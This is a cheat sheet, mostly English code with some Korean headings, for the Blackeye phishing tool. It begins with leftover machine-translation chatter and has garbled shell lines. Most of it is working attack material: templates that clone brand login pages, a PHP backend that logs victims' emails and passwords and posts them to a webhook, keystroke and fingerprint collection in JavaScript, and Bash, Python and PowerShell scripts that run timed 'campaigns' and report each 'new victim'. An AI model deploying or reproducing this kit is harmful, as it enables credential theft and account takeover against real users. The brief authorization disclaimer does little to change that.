Blackeye 피싱 도구 치트 시트
Would you like me to continue with the translation of section 2 (Overview)? If so, here’s the translation:
개요
Blackeye는 thelinuxchoice에서 개발한 포괄적인 피싱 도구로, 인기 있는 웹사이트 및 서비스에 대한 32개 이상의 즉시 사용 가능한 피싱 템플릿을 제공합니다. 최소한의 설정으로 피싱 페이지를 빠르게 배포할 수 있도록 설계되었으며, 교육 목적 및 승인된 침투 테스트에 널리 사용됩니다. Blackeye는 자동 자격 증명 수집, 실시간 모니터링, 다양한 터널링 서비스를 지원합니다.
⚠️ 경고: 이 도구는 승인된 침투 테스트 및 교육 목적으로만 사용됩니다. 대상에 대해 사용하기 전에 적절한 승인을 받았는지 확인하세요.
Would you like me to proceed with the remaining sections or provide the full text for those sections?```bash
Install required packages
sudo apt update sudo apt install -y git curl php apache2
Install additional dependencies
sudo apt install -y openssh-server unzip wget
Verify PHP installation
php —version
Start Apache service
sudo systemctl start apache2 sudo systemctl enable apache2
### Installation from GitHub
```bash
# Clone Blackeye repository
git clone https://github.com/thelinuxchoice/blackeye.git
cd blackeye
# Make executable
chmod +x blackeye.sh
# Run Blackeye
./blackeye.sh
Manual Installation
# Download latest version
wget https://github.com/thelinuxchoice/blackeye/archive/master.zip
unzip master.zip
cd blackeye-master
# Set permissions
chmod +x blackeye.sh
# Install dependencies
sudo apt install -y php-cli php-curl php-json
Docker Installation
# Create Dockerfile
cat > Dockerfile << 'EOF'
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y \
git \
php \
curl \
apache2 \
openssh-server \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
RUN git clone https://github.com/thelinuxchoice/blackeye.git .
RUN chmod +x blackeye.sh
EXPOSE 80 8080
CMD ["./blackeye.sh"]
EOF
# Build and run
docker build -t blackeye .
docker run -it --rm -p 80:80 -p 8080:8080 blackeye
Basic Usage
Starting Blackeye
# Start Blackeye with default settings
./blackeye.sh
# Start with specific port
PORT=8080 ./blackeye.sh
# Start with custom domain
DOMAIN=phishing.example.com ./blackeye.sh
# Start in background mode
nohup ./blackeye.sh &
Interactive Menu Navigation
# Blackeye main menu options:
# 1) Instagram
# 2) Facebook
# 3) Snapchat
# 4) Twitter
# 5) GitHub
# 6) Google
# 7) Origin
# 8) Yahoo
# 9) LinkedIn
# 10) ProtonMail
# 11) Wordpress
# 12) Microsoft
# 13) Netflix
# 14) PayPal
# 15) Adobe ID
# 16) Shopify
# 17) Messenger
# 18) GitLab
# 19) Twitch
# 20) MySpace
# 21) Badoo
# 22) VK
# 23) Yandex
# 24) deviantART
# 25) Wi-Fi
# 26) DropBox
# 27) eBay
# 28) Amazon
# 29) iCloud
# 30) Spotify
# 31) Reddit
# 32) Adobe
# 33) Custom
# 99) Exit
# Select template by number
# Example: Select 1 for Instagram
Tunneling Options
# Blackeye tunneling menu:
# 1) Localhost (Default)
# 2) Ngrok
# 3) Cloudflared
# 4) LocalXpose
# Ngrok setup
# Download and install ngrok
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
sudo mv ngrok /usr/local/bin/
# Authenticate ngrok (requires account)
ngrok authtoken YOUR_NGROK_TOKEN
# Cloudflared setup
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
Available Templates
Social Media Platforms
# Instagram (Template 1)
# - Login page replica
# - Mobile-responsive design
# - Credential harvesting
# - Session capture
# Facebook (Template 2)
# - Classic Facebook login
# - Mobile and desktop versions
# - Multi-language support
# - Real-time monitoring
# Snapchat (Template 3)
# - Snapchat login interface
# - Mobile-optimized
# - Ghost icon branding
# - Quick deployment
# Twitter (Template 4)
# - Twitter login page
# - Blue verification theme
# - Character limit simulation
# - Tweet-like interface
# LinkedIn (Template 9)
# - Professional network theme
# - Business-focused design
# - Career-oriented content
# - Professional branding
Email and Cloud Services
# Google (Template 6)
# - Google account login
# - Gmail integration
# - Google services branding
# - Multi-factor auth simulation
# Yahoo (Template 8)
# - Yahoo Mail login
# - Classic Yahoo design
# - Email-focused interface
# - News integration
# ProtonMail (Template 10)
# - Secure email branding
# - Privacy-focused design
# - Encryption messaging
# - Security-conscious users
# Microsoft (Template 12)
# - Office 365 login
# - Outlook integration
# - Business productivity theme
# - Enterprise branding
# iCloud (Template 29)
# - Apple iCloud login
# - iOS design elements
# - Apple branding
# - Device synchronization theme
Professional and Development
# GitHub (Template 5)
# - Developer-focused design
# - Code repository theme
# - Git integration appearance
# - Open source branding
# GitLab (Template 18)
# - DevOps platform design
# - CI/CD pipeline theme
# - Enterprise development
# - Version control focus
# Adobe ID (Template 15)
# - Creative Cloud branding
# - Designer-focused interface
# - Subscription model theme
# - Creative professional targeting
# Wordpress (Template 11)
# - Content management theme
# - Blogger-focused design
# - Publishing platform
# - Website creation focus
Entertainment and Gaming
# Netflix (Template 13)
# - Streaming service design
# - Entertainment branding
# - Subscription interface
# - Movie/TV show theme
# Spotify (Template 30)
# - Music streaming design
# - Audio-focused branding
# - Playlist interface
# - Music discovery theme
# Twitch (Template 19)
# - Gaming platform design
# - Streaming interface
# - Gamer-focused branding
# - Live content theme
# Origin (Template 7)
# - Gaming platform
# - EA Games branding
# - Game library interface
# - Digital distribution
E-commerce and Financial
# PayPal (Template 14)
# - Financial service design
# - Payment processing theme
# - Security-focused branding
# - Transaction interface
# Amazon (Template 28)
# - E-commerce platform
# - Shopping interface
# - Product catalog design
# - Marketplace branding
# eBay (Template 27)
# - Auction platform design
# - Bidding interface
# - Seller/buyer theme
# - Marketplace focus
# Shopify (Template 16)
# - E-commerce creation
# - Store management theme
# - Business-focused design
# - Merchant targeting
Custom Template Creation
Template Structure
# Blackeye template directory structure
templates/
├── custom/
│ ├── index.html
│ ├── login.php
│ ├── style.css
│ ├── script.js
│ └── images/
│ ├── logo.png
│ └── background.jpg
Custom HTML Template
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Custom Platform - Sign In</title>
<link rel="stylesheet" href="style.css">
<link rel="icon" href="images/favicon.ico">
</head>
<body>
<div class="container">
<div class="login-box">
<div class="logo">
<img src="images/logo.png" alt="Custom Platform">
</div>
<h2>Sign in to your account</h2>
<form action="login.php" method="POST" id="loginForm">
<div class="input-group">
<label for="email">Email or Username</label>
<input type="text" id="email" name="email" required>
</div>
<div class="input-group">
<label for="password">Password</label>
<input type="password" id="password" name="password" required>
</div>
<div class="checkbox-group">
<input type="checkbox" id="remember" name="remember">
<label for="remember">Remember me</label>
</div>
<button type="submit" class="login-btn">Sign In</button>
</form>
<div class="links">
<a href="#" onclick="collectAdditionalInfo()">Forgot password?</a>
<a href="#" onclick="collectAdditionalInfo()">Create account</a>
</div>
</div>
</div>
<script src="script.js"></script>
</body>
</html>
PHP Backend Script
<?php
// templates/custom/login.php
// Start session
session_start();
// Get user information
$ip = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$timestamp = date('Y-m-d H:i:s');
// Get form data
$email = $_POST['email'] ?? '';
$password = $_POST['password'] ?? '';
$remember = $_POST['remember'] ?? '';
// Additional information collection
$browser_info = [
'user_agent' => $user_agent,
'ip_address' => $ip,
'timestamp' => $timestamp,
'referer' => $_SERVER['HTTP_REFERER'] ?? '',
'accept_language' => $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '',
'accept_encoding' => $_SERVER['HTTP_ACCEPT_ENCODING'] ?? ''
];
// Prepare data for logging
$captured_data = [
'credentials' => [
'email' => $email,
'password' => $password,
'remember' => $remember
],
'browser_info' => $browser_info,
'additional_data' => [
'screen_resolution' => $_POST['screen_resolution'] ?? '',
'timezone' => $_POST['timezone'] ?? '',
'plugins' => $_POST['plugins'] ?? ''
]
];
// Log to file
$log_file = 'captured_data.txt';
$log_entry = date('Y-m-d H:i:s') . " - " . $ip . " - " . $email . " - " . $password . "\n";
file_put_contents($log_file, $log_entry, FILE_APPEND|LOCK_EX);
// Log detailed JSON data
$json_file = 'captured_data.json';
$json_data = json_encode($captured_data, JSON_PRETTY_PRINT) . "\n";
file_put_contents($json_file, $json_data, FILE_APPEND|LOCK_EX);
// Send notification (optional)
if (function_exists('curl_init')) \\\\{
$webhook_url = 'https://your-webhook-url.com/notify';
$notification_data = [
'text' => "New Blackeye capture from $ip",
'data' => $captured_data
];
$ch = curl_init($webhook_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($notification_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
\\\\}
// Redirect to legitimate site
$redirect_url = 'https://legitimate-site.com';
header("Location: $redirect_url");
exit();
?>
CSS Styling
/* templates/custom/style.css */
* \\\\{
margin: 0;
padding: 0;
box-sizing: border-box;
\\\\}
body \\\\{
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
\\\\}
.container \\\\{
width: 100%;
max-width: 400px;
padding: 20px;
\\\\}
.login-box \\\\{
background: white;
border-radius: 10px;
padding: 40px;
box-shadow: 0 15px 35px rgba(0, 0, 0, 0.1);
text-align: center;
\\\\}
.logo img \\\\{
width: 80px;
height: 80px;
margin-bottom: 20px;
\\\\}
h2 \\\\{
color: #333;
margin-bottom: 30px;
font-weight: 600;
\\\\}
.input-group \\\\{
margin-bottom: 20px;
text-align: left;
\\\\}
.input-group label \\\\{
display: block;
margin-bottom: 5px;
color: #555;
font-weight: 500;
\\\\}
.input-group input \\\\{
width: 100%;
padding: 12px;
border: 2px solid #e1e5e9;
border-radius: 6px;
font-size: 16px;
transition: border-color 0.3s;
\\\\}
.input-group input:focus \\\\{
outline: none;
border-color: #667eea;
\\\\}
.checkbox-group \\\\{
display: flex;
align-items: center;
margin-bottom: 20px;
text-align: left;
\\\\}
.checkbox-group input \\\\{
margin-right: 8px;
\\\\}
.login-btn \\\\{
width: 100%;
padding: 12px;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
border: none;
border-radius: 6px;
font-size: 16px;
font-weight: 600;
cursor: pointer;
transition: transform 0.2s;
\\\\}
.login-btn:hover \\\\{
transform: translateY(-2px);
\\\\}
.links \\\\{
margin-top: 20px;
display: flex;
justify-content: space-between;
\\\\}
.links a \\\\{
color: #667eea;
text-decoration: none;
font-size: 14px;
\\\\}
.links a:hover \\\\{
text-decoration: underline;
\\\\}
/* Mobile responsiveness */
@media (max-width: 480px) \\\\{
.container \\\\{
padding: 10px;
\\\\}
.login-box \\\\{
padding: 30px 20px;
\\\\}
.links \\\\{
flex-direction: column;
gap: 10px;
\\\\}
\\\\}
JavaScript Enhancement
// templates/custom/script.js
// Collect additional browser information
function collectBrowserInfo() \\\\{
const info = \\\\{
screen_resolution: screen.width + 'x' + screen.height,
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
language: navigator.language,
platform: navigator.platform,
cookie_enabled: navigator.cookieEnabled,
online: navigator.onLine,
plugins: Array.from(navigator.plugins).map(p => p.name).join(', ')
\\\\};
// Add hidden inputs to form
const form = document.getElementById('loginForm');
Object.keys(info).forEach(key => \\\\{
const input = document.createElement('input');
input.type = 'hidden';
input.name = key;
input.value = info[key];
form.appendChild(input);
\\\\});
\\\\}
// Collect additional information on link clicks
function collectAdditionalInfo() \\\\{
const additionalInfo = \\\\{
timestamp: new Date().toISOString(),
page_url: window.location.href,
referrer: document.referrer,
viewport: window.innerWidth + 'x' + window.innerHeight
\\\\};
// Send to server
fetch('collect_info.php', \\\\{
method: 'POST',
headers: \\\\{
'Content-Type': 'application/json',
\\\\},
body: JSON.stringify(additionalInfo)
\\\\}).catch(err => console.log('Info collection failed'));
\\\\}
// Form validation and enhancement
document.addEventListener('DOMContentLoaded', function() \\\\{
collectBrowserInfo();
const form = document.getElementById('loginForm');
const emailInput = document.getElementById('email');
const passwordInput = document.getElementById('password');
// Real-time validation
emailInput.addEventListener('input', function() \\\\{
const email = this.value;
if (email.includes('@')) \\\\{
this.style.borderColor = '#28a745';
\\\\} else \\\\{
this.style.borderColor = '#e1e5e9';
\\\\}
\\\\});
passwordInput.addEventListener('input', function() \\\\{
const password = this.value;
if (password.length >= 6) \\\\{
this.style.borderColor = '#28a745';
\\\\} else \\\\{
this.style.borderColor = '#e1e5e9';
\\\\}
\\\\});
// Form submission tracking
form.addEventListener('submit', function(e) \\\\{
// Track submission attempt
const submissionData = \\\\{
timestamp: new Date().toISOString(),
email_length: emailInput.value.length,
password_length: passwordInput.value.length,
time_on_page: Date.now() - window.performance.timing.navigationStart
\\\\};
// Add to form
Object.keys(submissionData).forEach(key => \\\\{
const input = document.createElement('input');
input.type = 'hidden';
input.name = key;
input.value = submissionData[key];
form.appendChild(input);
\\\\});
\\\\});
\\\\});
// Mouse movement tracking (optional)
let mouseMovements = [];
document.addEventListener('mousemove', function(e) \\\\{
mouseMovements.push(\\\\{
x: e.clientX,
y: e.clientY,
timestamp: Date.now()
\\\\});
// Keep only last 50 movements
if (mouseMovements.length > 50) \\\\{
mouseMovements = mouseMovements.slice(-50);
\\\\}
\\\\});
// Keystroke timing (optional)
let keystrokeTimings = [];
document.addEventListener('keydown', function(e) \\\\{
keystrokeTimings.push(\\\\{
key: e.key,
timestamp: Date.now(),
target: e.target.name||e.target.id
\\\\});
\\\\});
Automation and Scripting
Bash Automation Script
#!/bin/bash
# Blackeye automation script
BLACKEYE_DIR="/path/to/blackeye"
TEMPLATE_NUMBER="1" # Instagram
TUNNEL_OPTION="2" # Ngrok
DURATION="3600" # 1 hour
# Function to start Blackeye
start_blackeye() \\\\{
echo "[+] Starting Blackeye automation..."
cd "$BLACKEYE_DIR"
# Create expect script for automation
cat > blackeye_auto.exp << 'EOF'
#!/usr/bin/expect -f
set timeout 30
set template [lindex $argv 0]
set tunnel [lindex $argv 1]
spawn ./blackeye.sh
# Select template
expect "Choose an option:"
send "$template\r"
# Select tunneling option
expect "Choose an option:"
send "$tunnel\r"
# Wait for setup completion
expect "Press Ctrl+C to stop"
# Keep running
interact
EOF
chmod +x blackeye_auto.exp
# Run automated setup
./blackeye_auto.exp "$TEMPLATE_NUMBER" "$TUNNEL_OPTION" &
BLACKEYE_PID=$!
echo "[+] Blackeye started with PID: $BLACKEYE_PID"
echo "[+] Template: $TEMPLATE_NUMBER, Tunnel: $TUNNEL_OPTION"
\\\\}
# Function to monitor captures
monitor_captures() \\\\{
echo "[+] Starting capture monitoring..."
while true; do
if [ -f "captured_data.txt" ]; then
CAPTURE_COUNT=$(wc -l < captured_data.txt)
if [ "$CAPTURE_COUNT" -gt 0 ]; then
echo "[+] $CAPTURE_COUNT capture(s) detected"
# Export latest captures
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
cp captured_data.txt "captures_backup_$TIMESTAMP.txt"
if [ -f "captured_data.json" ]; then
cp captured_data.json "captures_detailed_$TIMESTAMP.json"
fi
echo "[+] Captures backed up with timestamp: $TIMESTAMP"
fi
fi
sleep 30
done
\\\\}
# Function to send notifications
send_notification() \\\\{
local message="$1"
local webhook_url="https://your-webhook-url.com/notify"
if command -v curl &> /dev/null; then
curl -X POST -H "Content-Type: application/json" \
-d "\\\\{\"text\":\"$message\"\\\\}" \
"$webhook_url" 2>/dev/null
fi
\\\\}
# Function to cleanup
cleanup() \\\\{
echo "[+] Cleaning up..."
if [ -n "$BLACKEYE_PID" ]; then
kill "$BLACKEYE_PID" 2>/dev/null
echo "[+] Blackeye stopped"
fi
if [ -n "$MONITOR_PID" ]; then
kill "$MONITOR_PID" 2>/dev/null
echo "[+] Monitoring stopped"
fi
# Final backup
if [ -f "captured_data.txt" ]; then
FINAL_TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
cp captured_data.txt "final_captures_$FINAL_TIMESTAMP.txt"
echo "[+] Final backup created: final_captures_$FINAL_TIMESTAMP.txt"
fi
exit 0
\\\\}
# Set trap for cleanup
trap cleanup SIGINT SIGTERM
# Main execution
main() \\\\{
echo "[+] Blackeye Automation Script"
echo "[+] Template: $TEMPLATE_NUMBER"
echo "[+] Tunnel: $TUNNEL_OPTION"
echo "[+] Duration: $DURATION seconds"
# Check dependencies
if ! command -v expect &> /dev/null; then
echo "[-] expect is required. Install with: sudo apt install expect"
exit 1
fi
# Start Blackeye
start_blackeye
# Start monitoring in background
monitor_captures &
MONITOR_PID=$!
# Send start notification
send_notification "Blackeye automation started - Template: $TEMPLATE_NUMBER"
# Run for specified duration
echo "[+] Running for $DURATION seconds..."
sleep "$DURATION"
# Send completion notification
send_notification "Blackeye automation completed"
cleanup
\\\\}
# Execute main function
main
Python Automation Script
#!/usr/bin/env python3
# Blackeye Python automation script
import subprocess
import time
import json
import os
import requests
import threading
from datetime import datetime
class BlackeyeAutomation:
def __init__(self, blackeye_dir, template_number=1, tunnel_option=2):
self.blackeye_dir = blackeye_dir
self.template_number = template_number
self.tunnel_option = tunnel_option
self.process = None
self.monitoring = False
self.webhook_url = "https://your-webhook-url.com/notify"
def start_blackeye(self):
"""Start Blackeye with automated input"""
try:
os.chdir(self.blackeye_dir)
# Create expect script for automation
expect_script = f"""#!/usr/bin/expect -f
set timeout 30
spawn ./blackeye.sh
expect "Choose an option:"
send "\\\\{self.template_number\\\\}\\r"
expect "Choose an option:"
send "\\\\{self.tunnel_option\\\\}\\r"
expect "Press Ctrl+C to stop"
interact
"""
with open('blackeye_auto.exp', 'w') as f:
f.write(expect_script)
os.chmod('blackeye_auto.exp', 0o755)
# Start Blackeye
self.process = subprocess.Popen(['./blackeye_auto.exp'])
print(f"[+] Blackeye started with PID: \\\\{self.process.pid\\\\}")
print(f"[+] Template: \\\\{self.template_number\\\\}, Tunnel: \\\\{self.tunnel_option\\\\}")
return True
except Exception as e:
print(f"[-] Failed to start Blackeye: \\\\{e\\\\}")
return False
def monitor_captures(self):
"""Monitor captured data files"""
self.monitoring = True
last_count = 0
print("[+] Starting capture monitoring...")
while self.monitoring:
try:
if os.path.exists('captured_data.txt'):
with open('captured_data.txt', 'r') as f:
lines = f.readlines()
current_count = len(lines)
if current_count > last_count:
new_captures = current_count - last_count
print(f"[+] \\\\{new_captures\\\\} new capture(s) detected")
# Process new captures
for i in range(last_count, current_count):
if i < len(lines):
self.process_capture(lines[i].strip())
last_count = current_count
# Backup captures
self.backup_captures()
time.sleep(10)
except Exception as e:
print(f"[-] Monitoring error: \\\\{e\\\\}")
time.sleep(30)
def process_capture(self, capture_line):
"""Process individual capture"""
try:
# Parse capture line (format: timestamp - ip - email - password)
parts = capture_line.split(' - ')
if len(parts) >= 4:
timestamp, ip, email, password = parts[:4]
print(f"[+] New victim: \\\\{ip\\\\}")
print(f" Email: \\\\{email\\\\}")
print(f" Password: \\\\{'*' * len(password)\\\\}")
print(f" Time: \\\\{timestamp\\\\}")
# Send notification
self.send_notification(\\\\{
'timestamp': timestamp,
'ip': ip,
'email': email,
'password_length': len(password)
\\\\})
except Exception as e:
print(f"[-] Error processing capture: \\\\{e\\\\}")
def backup_captures(self):
"""Backup captured data"""
try:
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
# Backup text file
if os.path.exists('captured_data.txt'):
backup_file = f"captures_backup_\\\\{timestamp\\\\}.txt"
subprocess.run(['cp', 'captured_data.txt', backup_file])
print(f"[+] Text backup created: \\\\{backup_file\\\\}")
# Backup JSON file
if os.path.exists('captured_data.json'):
backup_file = f"captures_detailed_\\\\{timestamp\\\\}.json"
subprocess.run(['cp', 'captured_data.json', backup_file])
print(f"[+] JSON backup created: \\\\{backup_file\\\\}")
except Exception as e:
print(f"[-] Backup error: \\\\{e\\\\}")
def send_notification(self, capture_data):
"""Send webhook notification"""
try:
payload = \\\\{
'text': f"🎣 New Blackeye Capture",
'capture': capture_data
\\\\}
response = requests.post(
self.webhook_url,
json=payload,
timeout=10
)
if response.status_code == 200:
print("[+] Notification sent successfully")
else:
print(f"[-] Notification failed: \\\\{response.status_code\\\\}")
except Exception as e:
print(f"[-] Notification error: \\\\{e\\\\}")
def analyze_captures(self):
"""Analyze captured data"""
try:
if not os.path.exists('captured_data.json'):
print("[-] No JSON data file found")
return
with open('captured_data.json', 'r') as f:
data = [json.loads(line) for line in f if line.strip()]
if not data:
print("[-] No capture data found")
return
# Basic analysis
total_captures = len(data)
unique_ips = len(set(item['browser_info']['ip_address'] for item in data))
# Browser analysis
browsers = \\\\{\\\\}
for item in data:
ua = item['browser_info']['user_agent']
if 'Chrome' in ua:
browsers['Chrome'] = browsers.get('Chrome', 0) + 1
elif 'Firefox' in ua:
browsers['Firefox'] = browsers.get('Firefox', 0) + 1
elif 'Safari' in ua:
browsers['Safari'] = browsers.get('Safari', 0) + 1
else:
browsers['Other'] = browsers.get('Other', 0) + 1
# Generate report
report = \\\\{
'total_captures': total_captures,
'unique_ips': unique_ips,
'browser_distribution': browsers,
'analysis_timestamp': datetime.now().isoformat()
\\\\}
# Save report
with open('analysis_report.json', 'w') as f:
json.dump(report, f, indent=2)
print(f"[+] Analysis complete:")
print(f" Total captures: \\\\{total_captures\\\\}")
print(f" Unique IPs: \\\\{unique_ips\\\\}")
print(f" Browser distribution: \\\\{browsers\\\\}")
print(f"[+] Report saved to: analysis_report.json")
except Exception as e:
print(f"[-] Analysis error: \\\\{e\\\\}")
def run_campaign(self, duration_hours=1):
"""Run complete automated campaign"""
print("[+] Starting Blackeye automation campaign...")
# Start Blackeye
if not self.start_blackeye():
return False
# Start monitoring in background thread
monitor_thread = threading.Thread(target=self.monitor_captures)
monitor_thread.daemon = True
monitor_thread.start()
# Send start notification
self.send_notification(\\\\{
'message': 'Blackeye campaign started',
'template': self.template_number,
'duration_hours': duration_hours
\\\\})
# Run for specified duration
print(f"[+] Campaign running for \\\\{duration_hours\\\\} hour(s)...")
time.sleep(duration_hours * 3600)
# Stop monitoring
self.monitoring = False
# Final analysis
self.analyze_captures()
# Send completion notification
self.send_notification(\\\\{
'message': 'Blackeye campaign completed',
'template': self.template_number
\\\\})
# Cleanup
self.cleanup()
print("[+] Campaign completed successfully")
return True
def cleanup(self):
"""Cleanup processes and files"""
try:
if self.process and self.process.poll() is None:
self.process.terminate()
self.process.wait(timeout=10)
print("[+] Blackeye process terminated")
# Final backup
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
if os.path.exists('captured_data.txt'):
final_backup = f"final_captures_\\\\{timestamp\\\\}.txt"
subprocess.run(['cp', 'captured_data.txt', final_backup])
print(f"[+] Final backup created: \\\\{final_backup\\\\}")
except Exception as e:
print(f"[-] Cleanup error: \\\\{e\\\\}")
# Usage example
def main():
# Configuration
blackeye_dir = "/path/to/blackeye"
template_number = 1 # Instagram
tunnel_option = 2 # Ngrok
duration_hours = 1
# Create automation instance
automation = BlackeyeAutomation(blackeye_dir, template_number, tunnel_option)
automation.webhook_url = "https://your-webhook-url.com/notify"
# Run campaign
success = automation.run_campaign(duration_hours)
if success:
print("[+] Automation completed successfully")
else:
print("[-] Automation failed")
if __name__ == "__main__":
main()
```### PowerShell 자동화
```powershell
# Blackeye PowerShell automation script
param(
[string]$BlackeyePath = "C:\Tools\blackeye",
[int]$TemplateNumber = 1,
[int]$TunnelOption = 2,
[int]$DurationMinutes = 60
)
function Start-BlackeyeAutomation \\\\{
param(
[string]$Path,
[int]$Template,
[int]$Tunnel
)
Write-Host "[+] Starting Blackeye automation..." -ForegroundColor Green
Set-Location $Path
# Create automation script
$automationScript = @"
#!/usr/bin/expect -f
set timeout 30
spawn ./blackeye.sh
expect "Choose an option:"
send "$Template\r"
expect "Choose an option:"
send "$Tunnel\r"
expect "Press Ctrl+C to stop"
interact
"@
$automationScript|Out-File -FilePath "blackeye_auto.exp" -Encoding ASCII
# Start process (requires WSL or Linux environment)
try \\\\{
$process = Start-Process -FilePath "bash" -ArgumentList @("blackeye_auto.exp") -PassThru
Write-Host "[+] Blackeye started with PID: $($process.Id)" -ForegroundColor Green
return $process
\\\\}
catch \\\\{
Write-Host "[-] Failed to start Blackeye: $_" -ForegroundColor Red
return $null
\\\\}
\\\\}
function Monitor-Captures \\\\{
param(
[string]$Path,
[int]$DurationMinutes
)
Write-Host "[+] Starting capture monitoring for $DurationMinutes minutes..." -ForegroundColor Green
$endTime = (Get-Date).AddMinutes($DurationMinutes)
$lastCount = 0
while ((Get-Date) -lt $endTime) \\\\{
$captureFile = Join-Path $Path "captured_data.txt"
if (Test-Path $captureFile) \\\\{
$lines = Get-Content $captureFile
$currentCount = $lines.Count
if ($currentCount -gt $lastCount) \\\\{
$newCaptures = $currentCount - $lastCount
Write-Host "[+] $newCaptures new capture(s) detected" -ForegroundColor Yellow
# Process new captures
for ($i = $lastCount; $i -lt $currentCount; $i++) \\\\{
if ($i -lt $lines.Count) \\\\{
Process-Capture -CaptureData $lines[$i]
\\\\}
\\\\}
$lastCount = $currentCount
# Backup captures
Backup-Captures -Path $Path
\\\\}
\\\\}
Start-Sleep -Seconds 30
\\\\}
Write-Host "[+] Monitoring completed" -ForegroundColor Green
\\\\}
function Process-Capture \\\\{
param([string]$CaptureData)
try \\\\{
# Parse capture data (format: timestamp - ip - email - password)
$parts = $CaptureData -split ' - '
if ($parts.Count -ge 4) \\\\{
$timestamp = $parts[0]
$ip = $parts[1]
$email = $parts[2]
$password = $parts[3]
Write-Host "[+] New victim: $ip" -ForegroundColor Cyan
Write-Host " Email: $email" -ForegroundColor Cyan
Write-Host " Password: $('*' * $password.Length)" -ForegroundColor Cyan
Write-Host " Time: $timestamp" -ForegroundColor Cyan
# Send notification
Send-Notification -Data @\\\\{
timestamp = $timestamp
ip = $ip
email = $email
password_length = $password.Length
\\\\}
\\\\}
\\\\}
catch \\\\{
Write-Host "[-] Error processing capture: $_" -ForegroundColor Red
\\\\}
\\\\}
function Backup-Captures \\\\{
param([string]$Path)
try \\\\{
$timestamp = Get-Date -Format "yyyyMMdd_HHmmss"
# Backup text file
$captureFile = Join-Path $Path "captured_data.txt"
if (Test-Path $captureFile) \\\\{
$backupFile = Join-Path $Path "captures_backup_$timestamp.txt"
Copy-Item $captureFile $backupFile
Write-Host "[+] Text backup created: $backupFile" -ForegroundColor Green
\\\\}
# Backup JSON file
$jsonFile = Join-Path $Path "captured_data.json"
if (Test-Path $jsonFile) \\\\{
$backupFile = Join-Path $Path "captures_detailed_$timestamp.json"
Copy-Item $jsonFile $backupFile
Write-Host "[+] JSON backup created: $backupFile" -ForegroundColor Green
\\\\}
\\\\}
catch \\\\{
Write-Host "[-] Backup error: $_" -ForegroundColor Red
\\\\}
\\\\}
function Send-Notification \\\\{
param([hashtable]$Data)
$webhookUrl = "https://your-webhook-url.com/notify"
$payload = @\\\\{
text = "🎣 New Blackeye Capture"
capture = $Data
\\\\}|ConvertTo-Json
try \\\\{
$response = Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType "application/json"
Write-Host "[+] Notification sent successfully" -ForegroundColor Green
\\\\}
catch \\\\{
Write-Host "[-] Notification failed: $_" -ForegroundColor Red
\\\\}
\\\\}
function Stop-BlackeyeProcess \\\\{
param([System.Diagnostics.Process]$Process)
if ($Process -and !$Process.HasExited) \\\\{
$Process.Kill()
Write-Host "[+] Blackeye process stopped" -ForegroundColor Green
\\\\}
\\\\}
# Main execution
try \\\\{
Write-Host "[+] Blackeye PowerShell Automation" -ForegroundColor Cyan
Write-Host "[+] Template: $TemplateNumber" -ForegroundColor Cyan
Write-Host "[+] Tunnel: $TunnelOption" -ForegroundColor Cyan
Write-Host "[+] Duration: $DurationMinutes minutes" -ForegroundColor Cyan
# Start Blackeye
$blackeyeProcess = Start-BlackeyeAutomation -Path $BlackeyePath -Template $TemplateNumber -Tunnel $TunnelOption
if ($blackeyeProcess) \\\\{
# Monitor captures
Monitor-Captures -Path $BlackeyePath -DurationMinutes $DurationMinutes
# Stop process
Stop-BlackeyeProcess -Process $blackeyeProcess
\\\\}
\\\\}
catch \\\\{
Write-Host "[-] Script error: $_" -ForegroundColor Red
\\\\}
finally \\\\{
Write-Host "[+] Script completed" -ForegroundColor Green
\\\\}
```## 다른 도구와의 통합
### Ngrok 통합
```bash
# Setup ngrok for public access
# Download and install ngrok
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
sudo mv ngrok /usr/local/bin/
# Authenticate with ngrok
ngrok authtoken YOUR_NGROK_TOKEN
# Start ngrok tunnel
ngrok http 80
# Get public URL
curl -s http://localhost:4040/api/tunnels|jq -r '.tunnels[0].public_url'
```### Apache/Nginx 통합
```bash
# Apache virtual host configuration
sudo tee /etc/apache2/sites-available/blackeye.conf << 'EOF'
<VirtualHost *:80>
ServerName phishing.example.com
DocumentRoot /path/to/blackeye/templates/selected
<Directory /path/to/blackeye/templates/selected>
AllowOverride All
Require all granted
</Directory>
ErrorLog $\\\\{APACHE_LOG_DIR\\\\}/blackeye_error.log
CustomLog $\\\\{APACHE_LOG_DIR\\\\}/blackeye_access.log combined
</VirtualHost>
EOF
# Enable site
sudo a2ensite blackeye.conf
sudo systemctl reload apache2
# Nginx configuration
sudo tee /etc/nginx/sites-available/blackeye << 'EOF'
server \\\\{
listen 80;
server_name phishing.example.com;
root /path/to/blackeye/templates/selected;
index index.html index.php;
location ~ \.php$ \\\\{
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
\\\\}
access_log /var/log/nginx/blackeye_access.log;
